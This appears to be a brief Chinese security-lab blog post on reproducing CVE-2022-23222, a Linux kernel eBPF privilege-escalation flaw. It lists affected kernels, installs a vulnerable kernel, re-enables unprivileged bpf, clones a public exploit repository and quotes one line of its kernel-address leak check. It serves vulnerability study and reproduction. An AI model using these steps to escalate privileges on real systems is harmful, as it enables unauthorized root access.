星期五实验室
漏洞介绍
影响版本:Linux kernel 5.8 - 5.16不受影响版本:Linux kernel 5.10.92, 5.15.15, 5.16.1
环境设置
sudo apt install linux-image-5.13.0-21-generic
tail /proc/sys/kernel/unprivileged_bpf_disabledecho 0 >/proc/sys/kernel/unprivileged_bpf_disabled
值为0表示允许非特权用户调用bpf值为1表示禁止非特权用户调用bpf且该值不可再修改，只能重启后修改值为2表示禁止非特权用户调用bpf，可以再次修改为0或1
漏洞复现
git clone https://gitclone.com/github.com/tr3ee/CVE-2022-23222.git #使用gitclone.com可以下载加速
u64 array_map = (u64)ctx->ptrs[20] & (~0xFFL);if ((array_map&0xFFFFF00000000000) != 0xFFFF800000000000) {WARNF("Could not leak array map: got %p", (kaddr_t)array_map);goto abort;}
参考链接:
https://github.com/tr3ee/CVE-2022-23222https://tr3e.ee/posts/cve-2022-23222-linux-kernel-ebpf-lpe.txt
FRIDAY LAB
扫二维码｜关注我们
星期五实验室
FRIDAY LAB
原文始发于微信公众号（星期五实验室）：Linux内核eBPF权限提升漏洞复现(CVE-2022-23222)
免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论